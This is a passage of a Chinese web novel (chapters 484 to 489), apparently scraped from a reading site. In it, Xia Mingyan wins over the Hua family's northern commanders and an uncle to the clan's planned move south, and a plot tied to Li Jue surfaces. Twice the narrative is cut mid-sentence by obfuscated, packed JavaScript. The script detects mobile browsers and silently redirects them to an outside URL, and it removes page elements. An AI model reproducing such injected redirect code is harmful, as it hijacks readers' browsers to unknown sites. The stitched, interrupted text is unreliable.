夏明嫣赞赏地点了点头:“这就对了,不管在哪儿,咱们都要保境安民,都要把自己的日子过好了。你们是征战沙场的将士,也一样是大恒的百姓。” “民以食为天,吃饭就是咱们过日子最重要的部分,这竹笋炖肉,把鲜笋换成了笋干,一开始肯定是不习惯的。可是经过摸索,把佐料、火候都摸索到位了,一样好吃。就算跟原来不一样了,也是另一种风味啊。” “这鲜笋炖肉和笋干炖肉现在已经不能说是谁替代谁了,这已经是两道不同的菜了,以后要是去了南疆,咱们也可以用南疆的食材做出咱们喜欢的菜。” 这“烹小鲜”上的事儿可以比喻很多东西,不仅仅是在吃食上,道理都是通的。这时候能围在这里还记得进来的,都是在华家军中有些地位的。 能立下战功还能有一定的地位,又是华家里比较近的亲族,这样的都是聪明人,都懂得如何举一反三。 于是,这些人也不拘束了,闻着饭菜的香气,问起了南疆是怎样一个地方,诸王割据之下,他们去了有没有他们落脚的地方,还有就是那边的气候、饮食会不会难以适应,再有就是生计问题了。 华家军里也不是各个都是将领或是在家业上有积累的,到了那边,一切都要从头开始。那家底薄的、从前功劳小的陡然换一个地方,只会更加艰难。 夏明嫣一一解答着这些问题,包括那些寨子里的人是如何改变的: “天下熙熙皆为利来,天下攘攘皆为利往,那些寨民纵使民智未开,他们也是人,也想要过好日子。这些都需要有人引导,有人帮助他们,我们是有法子跟他们做朋友的。” “南疆诸王的情况以后你们可以亲自问你们侯爷,当然了,他们也是人,在南疆多年也一样渴望中原和元京的繁华,这当中难道咱们就没有可以因势利导、能够有所作为的地方么?” 第484章讨巧,认了这侄媳妇 夏明嫣将手中调好的米浆糊刷到铁板上开始蒸制,没一会儿就熟练地揭了下来,放在一旁的晾架上,没一会儿就晾了一片,那边带来的随从小厮就开始往上面刷一层薄薄的菜籽油,卷成卷那样放着。 秋果之前就在旁边炖了一锅的牛肉,现在正在往里面加萝卜和酱料。 夏明嫣边解释边暗示道:“咱们北方用和面做饼、做面条,这南疆的人用米浆做春卷的皮和米粉,这米粉有长得像面条的,也有这种卷起来的。你们看这形状的像什么?这叫猪肠粉,形象吧?” “不管是用米做的,还是面做的,都是吃食,只要能顶饿还好吃,不就成了?一会儿大家都尝尝,看看像不像外面传言的那样不能下咽。” “虽说咱们在这北疆都几代人了,对这儿的一切都感到熟悉、亲切,可咱们的年纪也都不大,你们就不想去过一些从前没体验过的日子么?老地方都是有成制的,很多事想做也没的做呀。” 行伍之人行军打仗为的是保境安民,战事少当然是好事,大家都太平,毕竟再是胜仗,对于性命和民生来说也都是有损伤的。 可是这些年轻有为、一看就一表人才的小将小卒们,难道因此就不想建功立业了? 这是不可能的,既然已经入了行伍,谁不想趁着年华正好的时候挣一身的功名和身家出来? 即便是华家之后,家里已经有了家底,即便现在就卸甲归田,也能保证后半生衣食无忧,难道他们就不渴望自己建功立业了?少年心性,总是渴望自己也能做出些什么,最好能够超越先辈们的功业。 北疆对于他们来说最为熟悉,有如故乡,可是这里的功业已经到了头,如今祁笛已被打怕了,退居千里之外,至少百年间没有再次大举犯边的可能。 之后朝廷会派地方官员和将领前来镇守,他们就算变成了守军,也没有父辈当年那样的机会了。 可是南疆不同,平定祁笛是功,平定诸王之乱和收拢各个城寨也是功,在那边他们却大有可为,还有很多建功立业的机会在等待着他们。 都是聪明人,这番话之后这些人脸上都纷纷呈现出若有所思之态,夏明嫣趁机把大家都担心的几个问题都解答了一下。 就好比在当地如何防瘴气、防蚊虫,如何用食补的方式祛湿气,治疗各种疹子、脓疮,如何管理寨子、跟寨民处好关系…… 她用的方式并非说教,每一个比喻都很形象,没有一点掉书袋的样子,保证这些行伍中人都听得懂还不嫌啰嗦。一番谈话,再加上一顿男方风味的饭菜,这一夜注定有许多人无法入眠。 华叶胜原本担心夏明嫣在大营中走动被那些没规矩的小子冲撞了,或是看谁不顺眼了吵起来了,毕竟要是换做夏庸那老小子就特别容易干这种事。 结果看到的与他想象中的大相径庭,他没有出声惊动伙房里的这些人,只在窗外看着。华靖离也没有出声,就站在他旁边默默地陪着。 “你这媳妇是个聪明人,你看看这些小子……”华叶峰眼里有了笑意,感慨又有些酸涩地对身旁的华靖离道。 这时候能跑到伙房里听到这番话的,都具有三种特质。 一来,得是有点职位的,这样的人能走得开,不用在各自的位子上值守,才能跑到伙房来听会儿闲差。这样的人不仅有时间,还相对的说话顶用。 二来,能跑到这儿来“看热闹”的,都是脑子活泛的,想着这种事儿很多话华靖离本人不方便说,倒是这个兵部尚书嫡长女出身的华侯夫人可能容易套出口风来。这样的人会套口风,等到他们想明白了,也更容易把这股风吹出去。 三来么,夏明嫣是华靖离的妻子,能在他们刚入营就过来的,都是与华靖离关系不错的。即便他们不认同这些话,也不会乱说什么,在这时候让大营中再多出几道不认同的声音。换句话说就是,他们更会看在华靖离的面子上顾全大局。 夏明嫣用这样的方式把人都“招呼”过来了,就是奔着这样的人去,别看只是做了一顿南疆那边的饭,这种筛选手段非常的深入浅出。 华靖离和华叶峰都没有打扰夏明嫣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272871|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们也知道一会儿饭菜做好了,她自然会带着饭菜一起过去,便相携先回了大帐。 等到夏明嫣带着饭菜来到大帐时,华叶峰和华靖离已经手谈了一局了,见她来了,才让贴身护卫收了棋盘。 夏明嫣先向华叶峰端端正正地行了礼,恭敬地道:“七叔,侄媳妇本该早些来北疆给诸位叔伯请安的,现在才来实在是被府里的事儿耽搁了。” “再加上学这些南疆菜也花了些工夫,这时候才到,还望您见谅。您这还没用午饭吧?要不您尝尝我的手艺,可够把您的好侄儿服侍好了?” 军中将士家的女眷轻易不入大营,这大营中难得见这么模样娇俏的小辈女眷,她说话时又刻意地摆出小辈的模样讨巧卖乖的。 这听得、看得华叶峰的心已经软了,可他还是故意板着脸道:“被府里的事儿耽搁了……是夏大人有什么难办的吩咐么?他听说华家要南迁,应该很高兴吧?” 这不就是在说夏家把夏明嫣嫁过来就是为了探听华家的消息么?就是刚刚要退出帐外的秋果都紧张了起来,这不是诬赖他们夫人么。 华靖离也紧张起来,他这些叔伯都是豪横之人,平时说话直接,试探起别人,那话说的哪儿还叫试探,分明就是在当面锣对面鼓地诘问。 夏明嫣从嫁进钩翊侯府开始,一心一意地为了他和华家好,不仅从来没做过对不起华家人的事,没有给夏家通风报信,还帮着他们做了很多事,甚至帮助他们转变了华家人在东宫和元京高门眼中的形象。 华叶胜这样问她,虽说是因为担心他,可对于夏明嫣来说就太不和善了,听了少不得还有几分心寒。 华靖离想要阻止,嘴都张开了,却被夏明嫣瞟了一眼,乖乖地闭上了嘴,听她应答。 夏明嫣嘴一瘪,美眸一瞪,像是生气了,却一看就是佯装气恼地道: “他老人家是问了不少问题,什么侯爷怎么样了,醒了没有呀,近来有没有什么人到府上去过,他们都说了什么。唉,问得我好生头疼,您猜我是怎么回答的?” 第485章没有二话 “你能说什么,那可是你父亲。你总不能不孝,定是告诉他了。不过我这侄子向来谨慎,身边的人也教得好,你定然也发现不了什么。” 真到了夏明嫣开口回答,华叶胜反而有点尴尬了,对方毕竟是个娇滴滴的女娇娘,还是自己最喜欢、最信重的侄儿的新婚妻子。 因此他虽然觉得夏明嫣还是跟夏庸通了气的,说话时语气也不像之前那般严厉了,还哼哼的,像是一个老顽童。 夏明嫣却笑了一下,很是直接、爽朗地道:“我哪里用得着跟他说这些,我直接告诉他,女儿是在卢阳老宅长大的,从小到大,都没见过这些勾勾绕绕的事儿,您让女儿去打探消息,女儿也不会、不懂啊。” “七叔,您说呢,是不是这个道理?他都没教过,我凭什么要会?就是会了,又凭什么告诉他呢?我跟他之间的父女情分仅限于替夏家完成祖父定下的婚约,别的他还是省省吧。” “之后没过多久,他最悉心教导、一手养大的女儿,我的二妹妹,自己出了事,他就没功夫管我了。” 华叶胜愣了一下,没想到夏明嫣是这样的性子,一直丢在老宅养大的孩子,行同弃儿,不是应该很渴望父母的疼爱和看重,从而很愿意为家族卖命,得到父母的认可么? 就连华家的孩子,即便不是弃儿,只是留在老家教养,在长大之后才到军中效力与父兄相见的,也都是这般巴不得立刻就能建功立业,好在父兄面前证明自己的。 一个女子,还是在成婚前不久才被接回元京的,竟然如此拿得起放的下? 而且夏明嫣的这番话,不仅说明了她没有给夏家通风报信,还没有感性地说过多的有关夏庸对她如何无情的话,相反的她还相当理性,把她跟夏庸的关系点得清清楚楚。 华叶胜乐得顺坡下驴:“那这夏大人可就尴尬了,他总不好倚老卖老地答应他的要求了,想来他也不好再说什么了。” 只要不是傻子就能猜到夏庸定然不肯就此罢休,一定还会继续让夏明嫣为他做事的,华叶胜这么说只是在给夏明嫣面子,才没有继续问下去。 华靖离逮着这个空,连忙拿话挡在他们中间:“七叔,明嫣不会做那样的事。她若真想帮着我那岳丈,只要隐瞒自己的医术,不给我治伤,我要是咽了气,或是就此废了,那他不就正好有借口能把华家军收归兵部了?” “您就别拿这些话试她了,我那岳丈的性子,您也不是不知道。他圆滑,能平衡各方势力,可也正因为太圆滑了,他也不好跟自己的女儿太较真不是?现在我那连襟的身子也废了,他忙乎端侯府的事儿还来不及,哪里顾得上我这边。” 他们知道楚、陆、夏三家和端侯府之间的勾当,可华叶胜他们却不知道这些,华靖离这样一点,也至少能让华叶峰去想想这中间的关系。 华叶胜的注意力被转移了,自然也就没心思在这儿为难、考校夏明嫣了。 夏明嫣看出了他的小心思,却没有就此躲过去,反而主动道: “好了好了,你要帮我解围,也不必用这种围魏救赵的法子。七叔,您想问什么就问,不过有些话我也得先说清楚。华家南迁这件事不是我父亲提出来的,他的心思没这么活,也没这么善。” “这主意是侯爷想出来的,刚巧我想要做南疆的药材生意,从中促成、完善了这种想法而已。具体的事情也都是侯爷跟圣上和太子殿下安排下去的,至少至今为止,夏家、楚家都没有插手过。” 实话实说,不贪功,但也不回避,如此爽利、坦诚,这性子哪个华家之人能不爱。 华叶峰捋着胡子笑得开怀:“我这侄子是个好的,也是个有大运道的,不然也不会年纪轻轻就做了钩翊侯和靖北大将军,如今他更是好运道,娶了你这样的贤内助。” “这个侄媳妇我认下了,靖离,好福气,你将来还能有更大的运道。这……说着说着都饿了,走,里面坐,让我尝尝侄媳妇的手艺!” 三人这才落座,华叶峰吃起这南疆菜来,一向大快朵颐的他,吃起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“到时候万一朝廷看咱们不顺眼了,就在祖地罗织罪名,我们一样逃不过。可到了南疆就不一样了,艰难是艰难,可是比起几代之前遗留下来的这些藩王,朝廷定然更信任我们。只要朝廷还要用我们,我们就有机会。” 两相其害取其轻,就算朝廷再想动华家,也得等华家把那些藩王们压下去,将南疆彻底收归朝廷,并且安民甚至富民之后,等到华家没有用了,才能动华家。 第486章不怕老虎,怕老鼠 总之,就是要让华家继续有用,放眼朝野,没有比华家更适合的人或家族去完成这件事了。 若是网罗朝野间的能人,这些人各怀心思、分数的派系也都不同,这些人到了南疆就是一盘散沙,用不了多久就会湮没在诸王和寨民的汪洋大海中。 要是选一个别的家族过去,纵使也是武勋之家,也没有华家得利、团结,能够与南疆诸方派系抗衡。 而北疆虽然从情况到民风都跟北疆有很大的差距,可要说在北疆获得的经验也算是跟南疆的情况最为匹配的了,毕竟最了解南疆情况的就是那里的诸王和诸侯们,可也不能用他们来收拾他们自己吧。 那么其他家族在这方面就更比不上华家了,而且华家再遭人忌惮,这都几代了,也没见哪儿出个叛臣、叛将的,与其把那不知根底、未经考验的人家提上来,倒不如继续用华家。 对于朝廷来说,原本要让华家从北疆退下来就不好开这个口,即便开口了,该如何安置也成了大问题。 要是给官职和爵位,这么多人要封,朝廷府库拿不出那么多开支,临近元京的大城安排不出那么多的良田不说,这朝中也没有那么多的位子分给他们。 这么多的人,不知要占了多少人的利益,到时候朝野上下还不知道得乱成什么样,就是圣上和东宫耳边都不得清净。 要是去了南疆,倒是省了好些安置上的抛费。要官位,到了南疆谁平了哪儿就封哪儿,土地未开垦的和将来夺了诸王的,都算上本来就不缺了,何况那诸王的土地本就没在朝中任何人手中,自然算不得谁的利益。而因为南疆地处偏远,气候又不适合大多说北方和中原之人,把这些地分封给华家人,也不会有太大意见。 至于钱财,那就别说了,将来就算胜了,诸王收缴来的钱财用来修建城池、安抚民生就差不多了,最多就是分一些财权或是在一些领域给华家人一些好的条件,让华家人和之后有功的众将士经营,这便是把要封赏的银子、钱财都抵了,还能化兵为民,两全其美。 华叶胜不得不承认,这是个好法子,他缓缓地点了点头:“此法的确有效,至少能给华家赢得喘息和改变的时间。若是天下太平,谁也不是非得征战沙场、守着这军户不放的。” “不过,这说归说,真到了地方,只怕十里不同俗,并不是像说的那般容易的。我不停你这小子说了,在你那儿,上天入地都不是难事,我听侄媳妇说。” 无论是在何种艰难环境之下,华靖离永远都是一副遇山开路、逢水搭桥的架势,那边再难再苦,他都得给人鼓劲儿,倒不如听听别人怎么说。 夏明嫣再理性,也是个娇滴滴的小女子,单看她今日身上的衣饰,虽然不是极品的名贵,可却样样精细、精致。 要说在这边远或是苦寒的地方,有大财的人也不少,可最怕的就是拿钱买不着太好的东西,更是怕花尽了心思也跟不上中原和元京的潮流。 像夏明嫣这样的,就算将来她会跟着华靖离留在元京钩翊侯府,元京嫡支毕竟占着族长之位,他们夫妻也不好完全不在南疆这边住。要是这生计问题着实艰难,她这精致日子也就过到头了,她肯定是不愿意的。 夏明嫣心想,华叶胜可是想错了,她这两辈子以来,也就是三岁以前母亲健在时和这一世出嫁之后的这段时间享过福,其他时候她都在吃苦。 要说在卢阳和夏家,她受的苦多是心里的。生计和性命上的苦,好巧不巧的,她正好都是在南疆吃的。 要不是因为上一世她去南疆照顾因为水土不服险些没撑下去的李玦,后来李玦虽然好了,南疆的局势又不好了,路上太过凶险,再加上那时候她的医术已经日臻成熟,在军中能跟医士搭伙救人了,伙房那边采买、管账、调配,她也帮得上忙,她也就留了下来。 她在南疆可是吃了将近八年的苦,论起吃过的苦比起华靖离也没差多少,更要命的是,她人前人后的地位可比华靖离差远了。在很多事儿上,她吃得苦更足、更透。 只是夏明嫣也不好骗人,说那边一点都不苦,她只能苦中作乐地道: “要说苦不苦,哪儿不比元京苦?这都是对比出来的,您想想,前朝的时候,那些个皇室贵胄各个都比咱强,可是现如今,纵使咱们的族人大部分都在北疆,可这家世、出身和家里的身家、条件一说出去,您只管出去比一比,一千个人里都未必有一个能比上咱的。” “您要说南疆苦不苦,这要是在元京待惯了的人,到哪儿不觉得苦?可苦中有乐,也有机会啊。到了南疆要拼命,继续留在北疆,是不用跟祁笛人拼命了,可咱没了用处,不也得跟阴沟里的老鼠拼命么?” “不怕老虎的人可未必不怕老鼠,两边都要拼命,是选择舒服的死还是挣扎着活,您应该会选择后者吧? 这还真是,在战场上用惯了刀剑的人,还真难应对那些暗中射来的冷箭和背后算计的勾心斗角。 华叶胜无声地叹了口气:“这样缓上几代,后头的事儿……唉,前朝不过三百年之久,我朝已过百年,谁知道几代人以后什么样呢。再远的日子,就让他们那些小的自己过去了。” “可是……我是个粗人,也不知道说得对不对。那地方毕竟被他们占得久了,没咱们自己人,那儿的百姓不仅有许多尚未开化的,连语言都不通,话都说不上,这可如何是好?” 这的确是个问题,掌握一种几乎完全没有共同点的方言,又都不是小孩子了,想要融入当地的确不容易。反过来,要让当地人能够在短时间内学会他们这些也很艰难。 夏明嫣便讲了他们是如何教寨民识字和手艺的:“……这个过程会很漫长,可是不管是什么样的族群,都会有那么一些愿意学、愿意变得更好的。他们中的许多人,也比我们原先想像的要敏锐的多,他们一样在这当中看到了机会。” “我先把他们教会了,让他们管着、带着自己寨子里的人。我们教会他们的子孙识字、耕种、做药材、炒茶叶……给了他们活路,让他们过得更好了,他们自然更愿意跟着我们。这样,面对那些藩王,咱们也更有底气。” 第487章居心叵测 “为何如此说?他们在当地那么多年了,跟那些人走就是一伙儿的了吧?”华叶胜不解。 夏明嫣轻摇了摇头:“那些个藩王就每一个是真心跟那些统领和寨民相交的,各个都把他们看作不能开化的蛮夷之人,哪有真心待他们的?更别提给他们谋划什么好的出路了。” “可我们不一样,南疆地广人稀,单靠华家人是远远不够的,我们就是要让寨民变成跟我们有一些不同的自己人,求同存异。他们要是什么都不会、什么都说不通,咱们也费劲不是。” “要的就是跟他们一起平定南疆、休养生息,一起过上好日子。您说,如果您是这些寨民,您会跟谁一条心?” 华叶胜想了想,点头称是:“因为前朝就有祁笛之乱,这北疆原就有官军驻守,等到我朝之时,我们面对的北疆百姓已经与中原人没有多大差异了,我们没有也不会将他们当做蛮夷。” “可这南疆……的确如此,可这些寨民相对于藩王来说还是势弱了许多的,凭借他们能打的赢藩王?” “他们人多啊,七叔,您再想想,藩王和军侯们高高在上,他们不屑于与当地的统领和百姓相交,难道他们就会真心实意地去了解他们脚下的土地么?” 夏明嫣像个常出入军中的假小子似的,给华叶胜斟了一盏南疆的米酒, “他们只会掠夺,再在他们的地盘上瞒着朝廷通过私贩海货获利,根本不会去花心思了解那片土地。可是那些当地的统领和百姓懂啊。” “这些人还有很多在王府、侯府里做工,做的都是最低等、微末的活儿,还有那些个山林、田地、军中的一应衣食供给,哪里少得了这些人。” “也正因为他们做这些微末的活计,他们才离这些藩王、军侯更近,简直就是无处不在。而且他们所能触及的地方,洽洽有好些是那些高高在上的主子们根本不会留意的……这难道不是机会吗?” 是啊,再小的蚂蚁也是可以咬人的。祁笛相对于大恒来说也是蛮子,可他们却也一样困扰了前朝和大恒两百余年。 那些个寨民只要能被调动起来,站在他们华家这一边,南疆的局势也没有那么艰难了。 华家的祖先也是从山里走出来的,他们清楚一个人在未开化的状态下要是发现了一条新路,能带他们过上从前需要仰望的日子,那该有多期待。 华叶胜征战多年,官位也越来越高,这是好事儿,可也让他越来越觉得自己不够脚踏实地了。那高高在上的感觉,让他心虚,同时也让他很是怀念曾经筚路蓝缕的日子。 如此看来,去南疆重新开始也未尝不可,等他先回老家休养一段时日,祭拜了祖先,修缮了祠堂,也可以跟那些小家伙一起去南疆了。 华叶胜饮尽盏中米酒,砸了咂嘴:“这跟糖水似的,不过瘾,要喝好了还得是咱们北疆的酒!侄媳妇,你刚刚说‘咱们’,那就是真把我们当一家人了。” “那咱们以后去了南疆,你跟靖离可会去?到了那儿怕是难有如此精致的布料和元京的那些美食贵馔了。” 完全没有去想华叶胜是不是又在试探她,夏明嫣干脆地答应了下来: “去,当然要去,我还想去看看海贸的大船呢。元京待久了也会腻,只要我夫君要去,我定然相随。到时候您老要是也过去了,我好再给您做菜吃啊。” 华靖离趁势打趣道:“瞧瞧,这才多大会儿功夫,七叔眼里就只有你这个侄媳妇了,连我都被抛诸脑后了。七叔,以后让侄儿和侄媳妇孝顺您跟婶婶。” “行了吧,你小子,你来孝顺我了,你亲爹、亲娘又该往哪儿摆?还是侄媳妇有用,至少手艺好,菜做得这般淡,我也吃进去了大半,不像你小子,就会说!” “你小子运道真心不错,娶了这么个媳妇,以后你可得好好疼她、敬她。我听说你刚成婚就纳了一屋子的妾室,都十八房了,你这小子就算急着留下子嗣也不能这般张狂……” 华叶胜数落着华靖离,他当然不能把亲侄子怎么样,他大概也能猜到,多半是之前华靖离伤得太重了,华叶峰和董氏急了,行事才过了头。 不过他听到的这些也是被多次以讹传讹之后才得到的,什么十八房妾室,其实只有邓澜一个,其他的像是画扇、于杏儿那些都因为种种原因在府里和云翠居管着一摊子事儿呢。 夏明嫣跟华靖离对视了一眼,都笑了出来,插科打诨地把纳妾的事解释清楚了。 这种事反而不敢跟董氏解释,那是为了让董氏对夏明嫣心怀愧疚,也能让她渐渐熄了给华靖离纳妾的心。 可是跟华叶胜却要说实话,因为再是叔伯,跟董氏和华叶峰比也是隔了一层的,这些话反而要说清楚。让他明白,他们夫妻之间好得很,同心同德,绝对能有劲儿往一处使,也好让他把这股风吹到其他华家人面前。 华叶胜听得一双老目笑嘻嘻地眯成了一条缝儿,算是彻底接受了华家军南迁的事: “这事儿在我这儿是应了的,等你们回了元京,我立刻带人启程。我先回老家去住上两年,你其他的叔伯那儿有我去说,问题不大。” “刚才我也是想听你们说说究竟是怎么回事,有些事才没有说。你们有没有想过我耗在这儿不走,也不完全是我的本意?这事儿的根儿还是在你们侯府里面。我担心一上来就说这些,你们会……” 心生不满?或是觉得他们窥伺嫡支,有别的心思? 华靖离先就否定道:“七叔这说的是什么话,华家只有嫡支封侯,各位叔伯的爵位和官职都要退下来之后才会册封。各位叔伯这些年为了避嫌,连钩翊侯府都未曾回去过,我跟内子如何能因此猜忌您呢?” “不过……您的意思是,元京那边来了人,游说了您和几位叔伯?” 这就有意思了,若是侯府来了人劝说他们,这些人毕竟跟华靖离和朝廷相隔千里,也不能当面问他是不是他的意思,这些人原本想要答应南迁也变得迟疑了。 好在他们来了一趟,亲自表明了态度,才避免了后续因为误会而引出更大的后患。 此人当真居心叵测,南迁的事若是没有明着提及倒也罢了,这事儿是华靖离主动提起的,华家人却耗在这儿不懂,岂不是说他们想继续在北疆坐大? 第488章不世之功做砝码 此人居心叵测,可究竟会是谁呢? 华靖离和夏明嫣对视一眼,二人都在彼此眼中看到了答案——卜小娘。 华叶胜和其他几位叔伯之所以会心生迟疑是因为他们怀疑整件事是华靖和授意的,虽然华靖和只是一个守业的老儿子,可毕竟华叶峰只有这么两个儿子,华靖和的意见也不能完全不听。 更何况万一这是华叶峰的意思呢?也许华叶峰跟华靖离的意见相左,就想着通过华靖和之口跟他们通气。 华靖离笑了一下,解释道:“我那二弟是什么性子,您还不知道?还有我父亲,他老人家一听说要去南疆,就兴致勃勃地说要去看看那儿的梯田,要去耕种呢。” “他还问各位叔伯何时动身,他也要去,只是担心圣上那边会不放人。他还说要是我去南疆,圣上定然不会放他一同去,还让我不要跟他争呢。” 即便卜小娘背后真的是华靖和,只要华叶峰和华靖离父子一心,这件事就能定,更何况华靖和不是这样的人,他现在早就一门心思地当他的名士墨客去了。 不过华靖离和华靖和在外人眼里是爵位继承上的竞争对手,这时候华靖离要是替华靖和表态,多少有些不合适,也不好让人信服。 夏明嫣看了他一眼,替他开口道:“七叔,二弟他现在已经是元京有名的华师了,以后是要进御画苑的。从哪个角度来说,他都不会对南迁之事有意见。” “何况他一直志不在此,按理说小辈不该在背后议论长辈,可是二弟这些年因为自己的出身和他生母对他的一些期望,自苦甚多。他敬爱兄长,处处为了兄长考虑,那么文弱的一个人,在元京府的大牢里待了好几天,都未曾说出一句对家族和兄长不利的话。” “这样的一个赤诚之人,要是还有人觉得这件事是他的意思,就他再不肯住在钩翊侯府里了。” 主要还是北疆之人对华靖和了解太少,只能用惯常的思维揣测他的心思,想像着他一个不被看重的庶子,定然不满于家族对他守业、传嗣的安排,毕竟华靖离要是有子嗣,他的利益将极大地受损,他想在背后折腾一番多为自己争取一些,也是能够理解的。 殊不知华靖和还真就是个纯善的好孩子,上辈子华靖离无子而终,他才榨干了自己应是让妻妾生出了几个孩子来,还将长子过继到了华靖离名下,为他续了香火。 只是可惜那时候华叶峰和华叶胜这些人都已不在人世,华靖离新丧,华家群龙无首,又中了楚霆孝和李玦的算计,新君谢维在他自己的疑心和多方势力的作用下决定彻底铲除华家。 最终华靖和的那几个孩子也不知道如何了,想来不是在满门抄斩中丢了性命,再或是当中有被心腹保下的,要是再想显露于人前,恐怕就要几代以后了。 夏明嫣的目光里露出几丝苍凉,这看在华叶胜眼里自然成了连她这个新进门的媳妇都看得出华靖和是个好孩子了,这还不能说明那人只是假托了华靖和的名义么? 华叶胜又少不得一番感慨,连连说:“元京那地方诱惑大,好多人家都被逼得人不是人、鬼不是鬼的。你们能够父子、兄弟同心,我们这些老家伙就放心了。” “咱们华家自来上下一心,到了哪儿都不怕。看来这还是你父亲的那位妾室在背后搞鬼。这是你们的家务事,一会儿我就把人交给你,你把人带回去,自己办了。” 这当然不是卜小娘一个人的意思,卜小娘的背后就是李玦。 卜小娘眼看着华靖和不仅自己不愿意争了,华靖离康复之后连府中中馈都交到了夏明嫣手里,府里还多了好几位妾室、通房,夏明嫣连华靖离的伤都能治好,这么多的女人等着,华靖离将来不会缺了子嗣。 眼看着一场筹谋成了空,她只能抓紧李玦这根富贵稻草。要是原来,她或许还会以为李玦是为了袭爵和得个实缺才折腾出这些事的,可是后来,她应该也看出不对来了。 这种公侯之家,能让兵部尚书把最宠爱的嫡次女搭进去,能让楚霆孝和他的两个儿子出面为李玦造势,能是什么事儿? 当然是成则万人之上,败则举族脑袋不保的大事儿了。反正什么都没有了,不如赌一把,要是成了华靖和至少会成为华家之主,说不定还能有更大的前程! 至于万一败了,华靖和也会被连累送命这种事儿,现在的卜小娘已经不会考虑这些了。 因为在她的眼里,如果不这么做,华靖和这辈子也就那样了。做什么名士、书画院的画师,这些在钩翊侯和封侯拜相的诱惑面前简直一文不值,华靖和再这样下去,在她心里就跟死了没多大区别,她当然要搏一把了…… 不过解释当务之急不是解释这些,而是要让华叶胜也了解这当中的来龙去脉。 华靖离沉思了一下,语气郑重地说出了他跟夏明嫣此次北疆之行的另一个重要目的: “七叔和各位叔伯的担心我都了解,我和父亲也都有这样的担心。不过,我已与陛下商量过了,您说在迁往南疆之前,华家再立一个不世之功,是否能给将来的平安再增加一些砝码?” “不世之功?华家能立的不世之功只有战功,可是现在并无战事,这功劳从何而来?”华叶胜问华靖离,同时也是在问他自己。 北疆战事已经平息,纵使跟祁笛接壤的地方还会偶尔有些小冲突,也不难应对,这些绝对称不上不世之功。 至于南疆,诸王割据不假,可是局面焦灼着并不意味着已经乱了,就是华家立刻南迁了,也得一步一步地在南疆扩展势力,不能主动挑起争端,更不能一上去就要打要杀的。 退一步说,就算他们去了,那些人紧张了,南疆真就乱了,华家想要平叛也不是一朝一夕的事,再来一个 十年八载都是正常的,根本谈不上“眼下”就立下不世之功。 夏明嫣引导道:“华家在大义和律法上都站得住脚,更是已经立下了不世之功,可是圣上、太子、朝廷也好,世人也罢,还是会疑心华家日后功高震主、尾大不掉。” “说到底就是疑心华家会对君王不利,而君王会反过来对华家出手,那么如何能让君王不好对华家动手呢?” 第489章瘫子袭爵 世人和朝臣对华家疑心都不能直接决定华家的生死,他们只能依靠影响当时在位的君王才能达到目的。 所以根子还是在君王身上,要想不让他们动华家,只能让他们明白,只要他们一动这个念头就会被天下人非议。朝臣们也会认为他们如此忘恩负义,会不会也如此对待他们和他们的家族,人人自危之下必有人生出反心,动摇他们的统治……如此他们才不敢轻易动华家。 华叶胜低语道:“难道还能再来一次……” 在华靖离和夏明嫣的注视之下,硬是没敢把最后几个字说出来,而是用手指蘸了米酒在案上写下了四个字——从龙之功。 夏明嫣也倒了一点米酒出来,华靖离也用手指蘸了米酒,在那四个字后面续了四个字……城下勤王。 华叶胜似有了悟,打了个冷颤道:“你们是说有人要做那等大逆不道之事?那卜娘子背后之人,是你们说的这些人?” 把几件事联系在一起便是这么一件事了,这听起来不可思议,可仔细想想也是一个王朝的常态。 “七叔,这件事说来话长,我来与您说道说道……” 从老端侯生前如何假借海难将掏空一半朝廷府库贩来的珍贵海货和掠夺来的远处小朝廷的宝藏尽数沉入海底隐藏,说到楚、陆、端侯府和夏家如何勾连在了一起,想要利用这些财富和陆家的人马起事…… 夏明嫣默默地退了出去,华叶胜再是认了她这个侄媳妇,他最亲近的也还是华靖离这个在身边看着长大的侄子,况且这件事到最后还是要落实到兵事上,还是让他们叔侄两个谈比较合适。 夏明嫣出来的时候,刚好看到之前跟在华叶胜身边的侍卫押着一个年轻男子走了过来。 那男子看起来二十出头,被堵着嘴、反绑着双手,看起来五官有点眼熟,一看也是华家族人。 那侍卫见夏明嫣看了过来,便主动说这是华家远亲的族人,名叫华珂,就是受了卜小娘挑唆来军中斡旋的,并将人交给随行而来的郭林,由他们之后带回元京去。 为了钩翊侯府的安宁,也为了让北疆这边的族人看到他们处置内部矛盾的决心和手段,这件事定要在府中解决,恐怕华靖和这回是真的要伤心了。 不过这都是回元京之后才做处置的事,他们在天北大营只停留了三日就匆匆赶回元京,而在路上的这些时日,元京也发生了几件大事。 这头一件大事就是,端侯世子李玦终于袭爵了! 这件事轰动的地方不仅仅在于这爵位来得艰难,李玦苦等多年,在老端侯早就已经过世和他本人至少表面上没有过错的情况下,现在才袭爵。 更重要的是他现在已经不是被气中毒了,而是已经瘫痪了,而且这是在被众多名医联手诊治之后,这就意味着他这辈子彻底站不起来了。 要说有爵位的人瘫痪,当然是有的,可人家都是年纪老迈或是在沙场上受了重伤之后,在瘫痪之前就已袭了爵,或是因为功绩后封了爵。 因为父子恩荫袭爵之前这人就已经瘫了,身上还没有尺寸之功的,古往今来怕是只有李玦这一人了! 全元京的人都看足了热闹,这要是别人也就罢了,主要是月余光景,李玦从堂堂冠玉公子、御青书院擢选大热人选、兵部尚书的女婿一路往下出溜,直接变成了一个瘫子。 而且这个瘫子还不是那种虽然身子残了,但还能主事的,这瘫子偏偏还娶了一个悍妇,现在整个府邸都由这悍妇和娘家带来的管事嬷嬷把持着。 说到这个,夏明月跟他还真是不是一家人,不进一家门,同样是短短时日,她的形象也发生了翻天覆地的变化。 